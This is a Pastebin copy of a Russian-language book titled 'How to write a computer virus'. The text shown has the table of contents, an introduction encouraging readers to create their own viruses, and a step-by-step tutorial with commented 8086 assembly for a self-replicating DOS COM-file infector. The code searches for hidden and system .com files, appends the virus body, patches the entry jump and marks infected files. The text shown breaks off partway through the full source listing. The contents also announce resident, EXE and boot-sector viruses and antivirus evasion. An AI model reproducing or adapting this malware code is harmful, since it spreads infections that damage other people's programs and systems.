Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- КАК НАПИСАТЬ КОМПЬЮТЕРНЫЙ ВИРУС
- -------------------------------------
- СОДЕРЖАНИЕ
- ----------------
- стр.
- ВВЕДЕНИЕ ..................................... 5
- ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6
- ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
- ВИРУСНОЙ ПРОГРАММЫ .............. 6
- 1.1 Загрузка и выполнение
- COM - программы ..................... 6
- 1.2 Как вирус может заразить
- COM - файл .......................... 7
- 1.3 Работа вируса в
- зараженной программе ................ 8
- 1.4 Как начинается
- распространение вируса .............. 9
- 1.5 Начало работы ....................... 10
- 1.6 Вирус получает управление ........... 10
- 1.7 Восстанавливаем зараженную
- программу ........................... 12
- 1.8 Запоминаем содержимое DTA ........... 12
- 1.9 Ищем подходящий файл ................ 13
- 1.10 Читаем исходные три байта ........... 15
- 1.11 Выполняем необходимые расчеты ....... 16
- 1.12 Проверяем файл на зараженность ...... 18
- 1.13 Заражаем COM - программу ............ 19
- 1.14 Восстанавливаем DTA ................. 20
- 1.15 Передаем управление
- зараженной программе ................ 20
- 1.16 Область данных вирусной программы ... 21
- 1.17 Завершаем запускающую программу ..... 21
- 1.18 Текст нерезидентного COM - вируса ... 23
- 1.19 Комментарии ......................... 29
- 1.20 Испытание вируса .................... 29
- ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
- ВИРУСНОЙ ПРОГРАММЫ .............. 30
- 2.1 Понятие резидентного
- ( TSR ) вируса ...................... 30
- 2.2 Несколько слов о
- резидентных программах .............. 30
- 2.3 Алгоритм работы
- резидентного COM - вируса ........... 31
- 2.4 Заголовок вируса .................... 34
- 2.5 Вирус начинает работу ............... 34
- 2.6 Сохраняем регистры процессора ....... 38
- 2.7 Создаем секцию
- инициализации ....................... 39
- 2.8 Запрашиваем блок памяти ............. 41
- 2.9 Делаем вирус " незаметным " ......... 44
- 2.10 Получаем вектора прерываний ......... 46
- 2.11 Копируем вирусный код в память ...... 48
- 2.12 Устанавливаем вектора прерываний
- на вирусные обработчики ............. 48
- 2.13 Пишем резидентную часть ............. 50
- 2.14 Заражаем COM - файл ................. 51
- 2.15 Восстанавливаем регистры ............ 56
- 2.16 Пишем обработчики прерываний ........ 57
- 2.17 Обработчик Int 13h .................. 58
- 2.18 Обработчик Int 21h .................. 60
- 2.19 Обработчик Int 24h .................. 62
- 2.20 Обработчик Int 2Fh .................. 62
- 2.21 Обработчик Int 28h .................. 64
- 2.22 Область данных вируса ............... 64
- 2.23 Процедура идентификации COMMAND.COM.. 65
- 2.24 Завершаем программу ................. 66
- 2.25 Текст резидентного COM - вируса ..... 67
- 2.26 Комментарии ......................... 81
- 2.27 Испытание вируса .................... 82
- ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82
- ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
- EXE - ВИРУСА .................... 82
- 1.1 Формат EXE - файла на диске ......... 82
- 1.2 Загрузка и выполнение
- EXE - программы ..................... 84
- 1.3 Как вирус может заразить
- EXE - файл .......................... 86
- 1.4 Работа вируса в
- зараженной программе ................ 86
- 1.5 Начало работы ....................... 88
- 1.6 Вирус получает управление ........... 88
- 1.7 Ищем подходящий файл ................ 89
- 1.8 Читаем заголовок файла .............. 92
- 1.9 Производим необходимые
- вычисления .......................... 93
- 1.10 Заражаем EXE - программу ............ 98
- 1.11 Восстанавливаем DTA ................. 99
- 1.12 Восстанавливаем точку входа ......... 100
- 1.13 Область данных вируса ............... 101
- 1.14 Используемые процедуры .............. 103
- 1.15 Работа завершена .................... 104
- 1.16 Полный текст
- нерезидентного EXE - вируса ......... 104
- 1.17 Несколько слов об
- испытании вируса .................... 112
- ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
- EXE - ВИРУСА .................... 113
- 2.1 Алгоритм работы резидентного
- EXE - вируса ........................ 113
- 2.2 Защита от
- программ - антивирусов .............. 115
- 2.3 Как реализовать защиту от
- эвристического анализа .............. 116
- 2.4 Реализуем предложенный алгоритм ..... 119
- 2.5 Пишем промежуточный обработчик ...... 121
- 2.6 Защита от обнаружения вируса в файле. 122
- 2.7 Несколько слов о вредных
- действиях вирусной программы......... 122
- 2.8 Полный текст резидентного
- EXE - вируса ........................ 123
- ЧАСТЬ 3 . ЗАГРУЗОЧНЫЕ ВИРУСЫ ................. 143
- ГЛАВА 1 . РАЗРАБОТКА ЗАГРУЗОЧНОЙ
- ВИРУСНОЙ ПРОГРАММЫ .............. 143
- 1.1 Краткие сведения о начальной
- загрузке персонального компьютера ... 143
- 1.2 Понятие о загрузочных вирусах ....... 144
- 1.3 Алгоритм работы загрузочного
- вируса .............................. 145
- 1.4 Как начинается распространение
- вируса .............................. 147
- 1.5 Начало работы ....................... 147
- 1.6 Вирус получает управление ........... 148
- 1.7 Защита от антивирусных программ ..... 150
- 1.8 Перехватываем Int 13h ............... 152
- 1.9 Читаем исходную BOOT - запись ....... 153
- 1.10 Заражаем MBR винчестера ............. 154
- 1.11 Пишем обработчик прерывания Int 13h . 156
- 1.12 Используемые процедуры .............. 161
- 1.13 Область данных вируса ............... 162
- 1.14 Пишем секцию инсталляции ............ 163
- 1.15 Текст загрузочного вируса ........... 166
- 1.16 Комментарии ......................... 176
- 1.17 Испытание вируса .................... 177
- ЗАКЛЮЧЕНИЕ ................................... 177
- ПРИЛОЖЕНИЕ 1
- Краткий справочник по функциям
- MS DOS и BIOS ................................ 178
- ПРИЛОЖЕНИЕ 2
- Формат загрузочной записи для MS DOS
- различных версий ............................. 186
- ПРИЛОЖЕНИЕ 3
- КОДЫ ОШИБОК ПРИ ВЫПОЛНЕНИИ ФУНКЦИЙ
- MS DOS и BIOS ................................ 192
- ЛИТЕРАТУРА ................................... 194
- ВВЕДЕНИЕ
- Компьютерные вирусы со времени своего появления
- распространились чрезвычайно широко . Сейчас уже
- трудно найти человека,который бы ни разу не слышал
- об этих " существах " .И вместе с тем подавляющее
- большинство пользователей почти ничего не знают о
- том, что это такое, и склонны приписывать виру-
- сам различные фантастические возможности, а также
- сильно преувеличивать их опасность.Словом,эта тема
- окутывается завесой таинственности .Такое положе-
- ние возникло, главным образом, из - за почти пол-
- ного отсутствия специальной литературы по данному
- вопросу ( причина этого вполне понятна ).А в имею-
- щейся литературе для широкого круга читателей ино-
- гда можно встретить ошибочные и неправдоподобные
- сведения .Например, в одной очень распространенной
- и читаемой книге сказано, что некоторые вирусы
- "выживают" в компьютере даже после выключения пи-
- тания !Неизвестно,что имел ввиду автор,но эта фра-
- за полностью абсурдна . Дело в том, что при вык-
- лючении питания содержимое оперативной памяти те-
- ряется, в ПЗУ записать что - либо невозможно, а в
- CMOS - памяти свободного места для хранения вирус-
- ного кода никогда не хватит .Вирус может "выжить"
- в компьютере разве что на жестком диске, но этой
- способностью обладают все вирусные программы .
- Книга, которая предлагается вашему вниманию, напи-
- сана с использованием собственных разработок, на-
- блюдений и экспериментов автора .Изложение рас-
- считано на пользователей, знакомых с языком ассем-
- блера микропроцессоров семейства 8086 фирмы INTEL.
- Автор рассказывает о принципах работы компью-
- терных вирусов и подробно описывает процесс соз-
- дания нерезидентных, резидентных и загрузочных ви-
- русов. Разработка программ ведется от простого к
- сложному. Предыдущие программы становятся основой
- для разработки последующих . Читатель найдет в
- книге большое количество хорошо прокомментирован-
- ных исходных текстов .Каждая фаза создания виру-
- сов подробно объясняется .В общем,читайте и совер-
- шенствуйтесь !Разобравшись с программами,приведен-
- ными в книге,вы сможете создавать собственные ви-
- русы, а главное - повысите свой профессиональный
- уровень .Кроме того, устойчивое мнение, что "Ви-
- русы пишут только гении,мудрецы и " посвященные "
- покинет вас навсегда .
- УДАЧИ !
- 18.08.1998
- Автор .
- ЧАСТЬ 1 . COM - ВИРУСЫ
- ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
- ВИРУСНОЙ ПРОГРАММЫ
- * Эта глава написана "по мотивам" [ 3 ] и не пре-
- тендует на оригинальность. Предложенная в книге
- П.Л.Хижняка программа существенно переработана,
- исправлены замеченные ошибки и глюки. Так что
- Главу 1 можно рассматривать как "ре-мэйк" разра-
- ботки тов. Хижняка.
- 1.1 Загрузка и выполнение COM - программы
- Для того, чтобы дальнейшее изложение стало более
- понятным, следует немного рассказать о действиях
- MS DOS при запуске программы типа COM.
- Для запуска программ в системе MS DOS используется
- специальная функция EXEC . Действия этой функции
- при запуске COM - программы выглядят так :
- 1. Запускаемой программе отводится вся свобод-
- ная в данный момент оперативная память .Сегментная
- часть начального адреса этой памяти обычно называ-
- ется начальным сегментом программы.
- 2. По нулевому смещению в сегменте, определяемом
- начальным сегментом программы, EXEC строит специ-
- альную служебную структуру - так называемый PSP
- ( Program Segment Prefix ), в котором содержится
- информация,необходимая для правильной работы прог-
- раммы . Заполняет PSP операционная система ( ОС ),
- а его размер всегда равен 100h ( 256 ) байт .
- 3. Сразу вслед за PSP загружается сама COM - прог-
- рамма .
- 4. EXEC выполняет настройку регистров процессора.
- При этом устанавливаются такие значения :CS = DS =
- = SS = ES указывают на начальный сегмент програ-
- ммы, регистр IP инициализируется числом 100h, а
- регистр SP - числом 0fffeh .
- 5. Теперь загруженную COM - программу можно испол-
- нить . Для этого EXEC передает управление по адре-
- су CS : 100h.После завершения программы управление
- передается обратно в EXEC, а оттуда программе -
- предку .
- Таким образом,по адресу CS : 100h обязательно дол-
- жна стоять первая исполняемая команда .Чаще всего
- это команда перехода, но допустимо использовать и
- другие .Следует также напомнить, что в MS DOS раз-
- мер COM - файла не может превышать 64 Кбайт. В са-
- мом деле, ведь COM - формат предполагает размеще-
- ние программных кодов, данных и стека в одном сег-
- менте оперативной памяти . А размер сегмента как
- раз и ограничен 64 Кбайтами .
- 1.2 Как вирус может заразить COM - файл
- Под заражением понимают присоединение вирусом сво-
- его кода к файлу .При этом вирус должен так моди-
- фицировать заражаемый файл, чтобы получить управ-
- ление при его запуске .
- Существует несколько методов заражения COM - про-
- грамм.Вирусный код может записываться в конец, на-
- чало и даже в середину файла.Каждый из этих спосо-
- бов имеет свои достоинства и недостатки.Мы же рас-
- смотрим запись вирусного кода в конец файла .Такой
- прием используется в подавляющем большинстве виру-
- сов, и обеспечивает хорошие результаты при сравни-
- тельно простой реализации .
- Итак, вирус записывает свой код в конец файла .Для
- того,чтобы при старте этот код получил управление
- и начал выполняться, во время заражения программа
- несколько модифицируется .
- С этой целью используется трехбайтовая команда
- прямого ближнего перехода . Вирус записывает эту
- команду вместо первых трех байт заражаемого файла,
- а исходные три байта сохраняет в своей области
- данных .Теперь при запуске зараженной программы
- код вируса всегда будет выполняться первым .
- 1.3 Работа вируса в зараженной программе
- Получив управление при старте зараженной програ-
- ммы, вирус выполняет следующие действия :
- 1. Восстанавливает в памяти компьютера исходные
- три байтa этой программы .
- 2. Ищет на диске подходящий COM - файл .
- 3. Записывает свое тело в конец этого файла .
- 4. Заменяет первые три байта заражаемой программы
- командой перехода на свой код, сохранив предвари-
- тельно исходные три байта в своей области данных.
- 5. Выполняет вредные действия, предусмотренные ав-
- тором .
- 6. Передает управление зараженной программе . По-
- скольку в COM - файле точка входа всегда равна
- CS : 100h, можно не выполнять сложных расчетов, а
- просто выполнить переход на этот адрес .
- Если же подходящих для заражения COM - файлов най-
- дено не было, то вирус просто осуществляет переход
- на начало зараженной программы, из которой он и
- стартовал .
- После этого зараженная программа выполняется,как
- обычно .
- Сам вирусный код выполняется очень быстро и для
- пользователя ЭВМ этот процесс остается незаметным.
- Стоит заметить, что п.5 может вообще не выполнять-
- ся .Существуют вирусы, которые никак не проявляют
- себя, кроме размножения ( например, VIENNA 534 ).
- Вместе с тем есть и такие, которые способны нанес-
- ти определенный вред файлам или диску.Например,ви-
- рус ANTI_EXE мешает нормально работать с EXE -
- файлами, DARK AVENGER записывает бессмысленную ин-
- формацию в случайные сектора диска, а ONEHALF шиф-
- рует сектора на винчестере один за другим .Все за-
- висит от изобретательности автора .
- 1.4 Как начинается распространение вируса
- Очевидно, чтобы вирус распространился, его нужно
- внедрить в вычислительную систему . Делается это
- так :
- 1. Автор разрабатывает вирусную программу . Обычно
- для этой цели используется язык ассемблера, так
- как программы, написанные на нем,выполняются очень
- быстро и имеют малый размер .Хотя есть вирусы, на-
- писанные на языке TURBO C и даже на TURBO PASCAL .
- 2. Исходный текст программы компилируется, и из
- него создается исполняемый файл (обычно типа COM).
- Этот файл предназначен для того, чтобы " выпустить
- вирус на свободу " .Назовем программу,записанную в
- этом файле, запускающей .
- 3. Запускающая программа выполняется на машине,ко-
- торую необходимо заразить .
- 4. Выпущенный на свободу вирус выполняет действия,
- описанные в 1.3 .Различие заключается только в вы-
- полнении п.1 . А именно - при восстановлении в па-
- мяти исходных трех байтов программы на их место
- записывается команда перехода, передающая управле-
- ние коду завершения запускающей программы. Таким
- образом, при выполнении п.6 управление будет от-
- дано операционной системе, а на диске образуется
- зараженный файл. При копировании этого файла на
- другие компьютеры и их запуске вирус начнет рас-
- пространяться .
- Итак, займемся изготовлением COM - вируса ...
- 1.5 Начало работы
- Для разработки вируса лучше всего использовать COM
- формат.Это сделает его отладку более простой и на-
- глядной .Кроме того, структура COM - программы на-
- много проще и понятнее, чем структура программы в
- формате EXE.Поэтому напишем стандартное начало COM
- программы :
- prg segment
- assume cs:prg,ds:prg,es:prg,ss:prg
- org 100h
- Директива "assume cs:prg,ds:prg,es:prg,ss:prg" на-
- значает все сегментные регистры одному сегменту с
- именем PRG,а директива "org 100h" нужна для резер-
- вирования места для PSP .
- 1.6 Вирус получает управление
- После этого вступления начинается собственно ис-
- полняемая часть программы ( метка START ) :
- start: jmp vir ;Передача управ-
- ;ления вирусному
- ;коду ...
- org 110h
- Команда "jmp vir" передает управление вирусному
- коду, а директива "org 110h" указывает компилято-
- ру размещать все коды после метки "vir",начиная с
- адреса 110h .Число 110h принято для удобства рас-
- чета смещений при разработке вируса .Чуть позже мы
- разберемся, зачем понадобилась команда "jmp vir",
- а пока продолжим :
- vir: push ds ;Сохраним DS ...
- ;Корректируем
- mov ax,ds ;регистр DS ...
- db 05h ;Код команды
- add_to_ds: dw 0 ; " ADD AX,00h "
- mov ds,ax ;AX -> DS ...
- Поскольку в зараженной программе область данных
- вируса будет сдвинута хотя бы на длину этой про-
- граммы,необходимо выполнить коррекцию регистра DS.
- Коррекция осуществляется прибавлением к его содер-
- жимому длины программы в параграфах,округленной в
- большую сторону .Например, длина программы состав-
- ляет 401 байт . Тогда она содержит 25 полных па-
- раграфов и еще 1 байт.Округленное число параграфов
- будет равно 26 .Эта величина и прибавляется к ре-
- гистру DS . При заражении вирус рассчитывает кор-
- ректирующее число и записывает его в область "add_
- to_ds" .Теперь всякий раз при запуске зараженной
- программы оно будет использоваться вирусом для ис-
- правления DS . В запускающей программе DS коррек-
- тировать не нужно, и поэтому для нее "add_to_ds"
- равно нулю .
- 1.7 Восстанавливаем зараженную программу
- Как было указано в 1.3 ( п.1 ), вирус должен пос-
- ле запуска зараженной программы восстановить в па-
- мяти компьютера ее исходные три байтa ( не на дис-
- ке, а только в памяти ! ) .Пусть вирус хранит ис-
- ходные три байта в области "old_bytes".
- Итак :
- fresh_bytes:
- mov al,old_bytes
- mov cs:[100h],al
- mov al,old_bytes+1
- mov cs:[101h],al
- mov al,old_bytes+2
- mov cs:[102h],al
- Вы конечно знаете,что в COM - программе при ее за-
- грузке по адресу CS : 100h всегда находится первая
- исполняемая команда .В остальном работа фрагмента
- ясна .
- 1.8 Запоминаем содержимое DTA
- Data Transfer Arrea ( DTA ) является одной из слу-
- жебных структур MS DOS . Эта область находится в
- PSP по смещению 80h, и активно используется пос-
- ледней при работе с файлами .Например,многие функ-
- ции MS DOS обращаются к DTA для чтения или моди-
- фикации ее содержимого.Поскольку DOS строит PSP
- для каждой вновь запускаемой программы, для каждой
- из них создается и своя DTA .
- Так как наш вирус будет использовать при заражении
- и поиске файлов функции DOS,содержимое DTA зараже-
- нной программы будет испорчено, и она, скорее все-
- го, не будет нормально работать.Поэтому содержимое
- DTA необходимо сохранить. Для этой цели выделим
- массив из 128 байт с именем "old_dta":
- mov cx,80h ;Размер DTA -
- ;128 байт ...
- mov bx,80h ;Смещение к DTA
- lea si,old_dta ;Адрес массива
- save_dta:
- mov al,byte ptr cs:[bx];Читаем из DTA
- ;байт и перено-
- mov ds:[si],al ;сим его в мас-
- ;сив ...
- inc bx ;К новому байту
- inc si ;
- loop save_dta ;Цикл 128 раз
- Работа фрагмента пояснений не требует ...
- 1.9 Ищем подходящий файл
- Теперь самое время заняться поиском файла для за-
- ражения.Для поиска файла - жертвы мы будем исполь-
- зовать пару функций DOS : 4Eh ( поиск первого фай-
- ла ) и 4Fh ( поиск следующего файла ) . При вызове
- 4Eh в регистр CX помещаются атрибуты искомого фай-
- ла, а в DX - его имя и расширение . Установленная
- нами маска предполагает поиск COM-файла, с атрибу-
- тами "archive","system" и "hidden".Функция 4Fh ис-
- пользуется уже после того, как функция 4Eh нашла
- первый файл, удовлетворяющий нашим требованиям.Ви-
- рус будет вызывать ее в том случае, если найденный
- файл ему не подходит (например, он слишком велик).
- Имя найденного файла описанные выше функции поме-
- щают в DTA по смещению 01eh .
- А теперь приведем программный фрагмент, выпол-
- няющий поиск файла :
- find_first:
- mov ah,4eh ;Поиск первого
- ;файла ...
- mov cx,00100110b ;archive, system
- ;hidden
- lea dx,maska ;Маска для поис-
- ;ка
- int 21h
- jnc r_3 ;Нашли !
- jmp restore_dta ;Ошибка !
- find_next: mov ah,3eh ;Закроем непод-
- int 21h ;ходящий файл...
- jnc r_2
- jmp restore_dta ;Файл нельзя за-
- ;крыть !
- r_2: mov ah,4fh ;И найдем сле-
- int 21h ;дующий ...
- jnc r_3 ;Файл найден !
- jmp restore_dta ;Ошибка !
- r_3: mov cx,12 ;Сотрем в буфере
- lea si,fn ;"fn" имя пред-
- destroy_name: ;ыдущего файла
- mov byte ptr [si],0 ;
- inc si ;
- loop destroy_name ;Цикл 12 раз ...
- xor si,si ;И запишем в бу-
- copy_name: mov al,byte ptr cs:[si+9eh]
- ;фер имя только
- cmp al,0 ;что найденного
- ;файла ...
- je open ;В конце имени в
- mov byte ptr ds:fn[si],al
- ;DTA всегда сто-
- inc si ;ит ноль, его мы
- jmp copy_name ;и хотим достичь
- Имя файла в буфере " fn " необходимо стирать вот
- почему .Например, первым был найден файл COMMAND.
- COM, и пусть он не подошел вирусу.Тогда вирус по-
- пытается найти следующий файл.Пусть это будет WIN.
- COM .Его имя запишется в область " fn ",и она при-
- мет вид : WINMAND.COM. Такого файла на диске, ско-
- рее всего,нет;если же попробовать к нему обратить-
- ся,это вызовет ошибку,и вирус закончит работу.Что-
- бы этого не случалось, область " fn " после каждо-
- го файла очищается. При ошибках в выполнении сис-
- темных функций управление передается на метку
- " restore_dta " . Затем вирус восстанавливает DTA
- зараженной программы и осуществляет переход на ее
- начало .
- 1.10 Читаем исходные три байта
- Итак,вирус нашел COM - программу, которую теперь
- следует заразить .Но сначала необходимо сохранить
- первые три байта этой программы ( см. 1.3, п.4 ).
- Для этого файл нужно сначала открыть, а затем счи-
- тать его первые три байта, что и реализуют приве-
- денные ниже программные строки . Напомним,что имя
- файла хранится в строке " fn " .
- open: mov ax,3d02h ;Открыть файл
- ;для чтения и
- ;записи ...
- lea dx,fn ;Имя файла ...
- int 21h ;
- jnc save_bytes
- jmp restore_dta ;Файл не откры-
- ;вается !
- save_bytes: ;Считаем три
- ;байта :
- mov bx,ax ;Сохраним дес-
- ;криптор в BX
- mov ah,3fh ;Номер функции
- mov cx,3 ;Сколько байт ?
- lea dx,old_bytes ;Буфер для счи-
- ;тываемых данных
- int 21h
- jnc found_size
- jmp close ;Ошибка !
- Приведенный фрагмент помещает прочитанную инфор-
- мацию в область " old_bytes " . Остальное ясно из
- комментариев .
- 1.11 Выполняем необходимые расчеты
- В этом пункте мы покажем, как вирус проводит рас-
- чет корректирующего числа для регистра DS ( см .
- 1.4 ), а также смещения на свой код .Напомним,что
- это смещение записывается в начало заражаемого
- файла и зависит от его длины . Исходной величиной
- для расчета служит длина заражаемого файла,которую
- DOS вместе с именем найденного файла и рядом дру-
- гих его характеристик помещает в DTA .Размер запи-
- сывается в DTA по смещению 01Ah ( младшее слово )
- 1Ch ( старшее ) . Так как длина COM - файла не мо-
- жет быть больше 65535 байт, она помещается в
- младшее слово целиком.А слово по смещению 01Ch об-
- нуляется !
- Вышеуказанные расчеты можно произвести следующим
- образом :
- found_size:
- mov ax,cs:[09ah] ;Найдем размер
- ;файла
- count_size:mov si,ax
- cmp ax,64000 ;Файл длиннее
- ;64000 байт ?
- jna toto ;Нет ...
- jmp find_next ;Да - тогда он
- ;нам не подходит
- toto: test ax,000fh ;Округлим размер
- jz krat_16 ;до целого числа
- or ax,000fh ;параграфов в
- inc ax ;большую сторону
- krat_16: mov di,ax ;И запишем ок-
- ;ругленное зна-
- ;чение в DI ...
- ;Расчитаем сме-
- ;щение для пере-
- ;хода на код ви-
- ;руса ...
- sub ax,3 ;Сама команда
- ;перехода зани-
- ;мает три байта!
- mov byte ptr new_bytes[1],al
- ;Смещение найде-
- mov byte ptr new_bytes[2],ah
- ;но !
- mov ax,di ;Сколько пара-
- mov cl,4 ;графов содержит
- shr ax,cl ;заражаемая про-
- ;грамма ?
- dec ax ;Учитываем дейс-
- ;твие директивы
- ;ORG 110h ...
- mov byte ptr add_to_ds,al
- ;Корректирующее
- mov byte ptr add_to_ds+1,ah
- ;число найдено !
- Вы уже, конечно, поняли,что вирус будет округлять
- размер заражаемой программы до целого числа параг-
- рафов в большую сторону .Например,пусть файл имеет
- длину 401 байт .Тогда вирус запишет в DI значение
- 416 ( 25 целых параграфов, и еще один байт даст
- округленное значение 416 ).В " new_bytes " запише-
- тся число : 416 - 3 = 413, а в " add_to_ds " будет
- помещено значение : 26 - 1 = 25 .
- Чтобы лучше понять работу фрагмента,рекомендую вам
- посмотреть пункт 1.6 . И еще - подумайте, за-
- чем нужна команда " dec ax " .Надеюсь,вы без труда
- в этом разберетесь !
- 1.12 Проверяем файл на зараженность
- Мы, кажется, слишком увлеклись работой и не заме-
- тили одной очень важной детали.Ведь может случить-
- ся, что найденный нами файл уже заражен предлагае-
- мым вирусом, а мы об этом даже не догадываемся !
- Поэтому наш вирус заразит эту программу еще раз .В
- принципе,количество заражений ничем не ограничено.
- Программа будет расти, пока не достигнет размера
- более 65535 байт, а после этого перестанет рабо-
- тать.Чтобы такого не произошло, введем проверку на
- зараженность .Например, в конец каждого заражаемо-
- го файла будем записывать цифру " 7 ", а при за-
- ражении проверять ее наличие .
- Итак :
- mov ax,4200h ;Установим ука-
- xor cx,cx ;затель на пос-
- dec si ;ледний байт
- mov dx,si ;файла ...
- int 21h
- jnc read_last
- jmp close ;Ошибка !
- read_last: ;И считаем этот
- mov ah,3fh ;байт в ячейку
- mov cx,1 ; " last " ...
- lea dx,last
- int 21h
- jc close ;Ошибка !
- cmp last,'7' ;" last " =" 7 "
- jne write_vir ;Нет - дальше
- jmp find_next ;Да- поищем дру-
- ;гой файл ...
- Можно, конечно,провести более совершенную проверку
- зараженности,нашей же целью было просто показать,
- как защитить файлы от повторного заражения .Чита-
- тель при желании сам легко внесет необходимые из-
- менения в создаваемую программу .
- 1.13 Заражаем COM - программу
- Наконец, подходящий для заражения COM - файл най-
- ден . Он еще не заражен нашим вирусом и имеет при-
- емлемый размер . Поэтому самое время заняться за-
- ражением .Этот процесс описан в 1.3 ( см. п.3 и
- п.4 ) .Здесь мы только его реализуем :
- write_vir: mov ax,4200h ;Установим ука-
- xor cx,cx ;затель на конец
- mov dx,di ;файла ...
- int 21h
- jc close ;При ошибке -
- ;закроем файл
- mov ah,40h ;Запишем в файл
- mov cx,vir_len ;код вируса дли-
- lea dx,vir ;ной vir_len
- int 21h
- jc close ;При ошибке -
- ;закроем файл
- write_bytes:
- mov ax,4200h ;Установим ука-
- xor cx,cx ;затель на нача-
- xor dx,dx ;ло файла
- int 21h
- jc close ;При ошибке -
- ;закроем файл
- mov ah,40h ;Запишем в файл
- mov cx,3 ;первые три бай-
- lea dx,new_bytes ;та ( команду
- int 21h ;перехода ) ...
- close: mov ah,3eh ;Закроем зара-
- int 21h ;женный файл ...
- При записи первых трех байт в файл помещается ко-
- манда перехода на код вируса. Все остальное можно
- понять из приведенных комментариев .
- 1.14 Восстанавливаем DTA
- Для корректной работы зараженной программы восста-
- новим ее DTA .Напомним,что вирус " прячет " ее в
- массиве " old_dta ".
- Поэтому :
- restore_dta:
- mov cx,80h ;Размер DTA -
- ;128 байт ...
- mov bx,80h ;Смещение к DTA
- lea si,old_dta ;Адрес массива
- dta_fresh:
- mov al,ds:[si] ;Читаем из мас-
- ;сива "old_dta"
- mov byte ptr cs:[bx],al;байт и перено-
- ;сим его в DTA
- inc bx ;К новому байту
- inc si ;
- loop dta_fresh ;Цикл 128 раз
- 1.15 Передаем управление зараженной программе
- Работа вируса окончена . Теперь он должен отдать
- управление программе - носителю.Как мы выяснили,
- для этой цели достаточно выполнить переход на ад-
- рес CS : 100h . Поэтому занесем в стек содержимое
- CS,и затем - число 100h.А после этого выполним ко-
- манду RET FAR .Она снимет с вершины стека запи-
- санные туда значения и передаст управление по оп-
- ределяемому ими адресу :
- pop ds ;Восстановим
- ;испорченный DS
- push cs ;Занесем в стек
- ;регистр CS
- db 0b8h ;Код команды
- jump: dw 100h ;mov ax,100h
- push ax ;Занесем в стек
- ;число 100h
- retf ;Передача управ-
- ;ления на задан-
- ;ный адрес ...
- 1.16 Область данных вирусной программы
- Настало время привести данные, которыми оперирует
- наш вирус . Вот они :
- old_bytes db 0e9h ;Исходные три
- ;байта заражен-
- dw vir_len + 0dh ;ной программы
- old_dta db 128 dup (0) ;Здесь вирус
- ;хранит исходную
- ;DTA программы
- maska db '*.com',0 ;Маска для поис-
- ;ка файлов ...
- fn db 12 dup (' '),0 ;Сюда помещается
- ;имя файла -жер-
- ;твы ...
- new_bytes db 0e9h ;Первые три бай-
- db 00h ;та вируса в
- db 00h ;файле ...
- last db 0 ;Ячейка для пос-
- ;леднего байта
- db '7' ;Последний байт
- ;вируса в файле
- Как видим, данных не так уж и много !
- 1.17 Завершаем запускающую программу
- Для завершения запускающей вирус программы мы ис-
- пользуем стандартную функцию DOS, а именно - 4Ch :
- vir_len equ $-vir ;Длина вирусного
- ;кода ...
- prg_end: mov ah,4ch ;Завершение за-
- INT 21H ;пускающей прог-
- ;раммы ...
- db '7' ;Без этого сим-
- ;вола вирус за-
- ;разил бы сам
- ;себя ...
- prg ends ;Все ASM - прог-
- end start ;раммы заканчи-
- ;ваются примерно
- ;так .
- Вы, наверное, заметили,что в запускающей программе
- при восстановлении первых трех байт по адресу CS :
- 100h записывается команда перехода на метку " prg_
- end ".После передачи управления на эту метку вирус
- отдает управление MS DOS . Если бы в самом начале
- нашего вируса не было команды "jmp vir" (см.1.6),
- то запись по адресу CS : 100h перехода на метку
- " prg_end " разрушила бы команды
- push ax
- mov ax,ds
- ( см.1.6 ).В результате в заражаемый файл попал бы
- вирусный код с испорченными первыми байтами . Это
- наверняка привело бы к полной неработоспособности
- файла - жертвы .В нашем же случае будет разрушена
- лишь команда " jmp vir " .Поскольку в файл она не
- записывается, нас это не интересует .
- 1.18 Текст нерезидентного COM - вируса
- Как видите, вирус написан, и пора привести его
- текст.Этим мы сейчас и займемся :
- ; ________________________________________________
- ;| |
- ;| Non - TSR COM virus |
- ;| Especially for my readers ! |
- ;|________________________________________________|
- prg segment
- assume cs:prg,ds:prg,es:prg,ss:prg
- org 100h
- start: jmp vir ;Передача управ-
- ;ления вирусному
- ;коду ...
- org 110h
- vir: push ds ;Сохраним DS ...
- ;Корректируем
- mov ax,ds ;регистр DS ...
- db 05h ;Код команды
- add_to_ds: dw 0 ; " ADD AX,00h "
- mov ds,ax ;AX -> DS ...
- fresh_bytes:
- mov al,old_bytes
- mov cs:[100h],al
- mov al,old_bytes+1
- mov cs:[101h],al
- mov al,old_bytes+2
- mov cs:[102h],al
- mov cx,80h ;Размер DTA -
- ;128 байт ...
- mov bx,80h ;Смещение к DTA
- lea si,old_dta ;Адрес массива
- save_dta:
- mov al,byte ptr cs:[bx];Читаем из DTA
- ;байт и перено-
- mov ds:[si],al ;сим его в мас-
- ;сив ...
- inc bx ;К новому байту
- inc si ;
- loop save_dta ;Цикл 128 раз
- find_first:
- mov ah,4eh ;Поиск первого
- ;файла ...
- mov cx,00100110b ;archive, system
- ;hidden
- lea dx,maska ;Маска для поис-
- ;ка
- int 21h
- jnc r_3 ;Нашли !
- jmp restore_dta ;Ошибка !
- find_next: mov ah,3eh ;Закроем непод-
- int 21h ;ходящий файл...
- jnc r_2
- jmp restore_dta ;Файл нельзя за-
- ;крыть !
- r_2: mov ah,4fh ;И найдем сле-
- int 21h ;дующий ...
- jnc r_3 ;Файл найден !
- jmp restore_dta ;Ошибка !
- r_3: mov cx,12 ;Сотрем в буфере
- lea si,fn ;"fn" имя пред-
- destroy_name: ;ыдущего файла
- mov byte ptr [si],0 ;
- inc si ;
- loop destroy_name ;Цикл 12 раз ...
- xor si,si ;И запишем в бу-
- copy_name: mov al,byte ptr cs:[si+9eh]
- ;фер имя только
- cmp al,0 ;что найденного
- ;файла ...
- je open ;В конце имени в
- mov byte ptr ds:fn[si],al
- ;DTA всегда сто-
- inc si ;ит ноль, его мы
- jmp copy_name ;и хотим достичь
- open: mov ax,3d02h ;Открыть файл
- ;для чтения и
- ;записи ...
- lea dx,fn ;Имя файла ...
- int 21h ;Функция DOS
- jnc save_bytes
- jmp restore_dta ;Файл не откры-
- ;вается !
- save_bytes: ;Считаем три
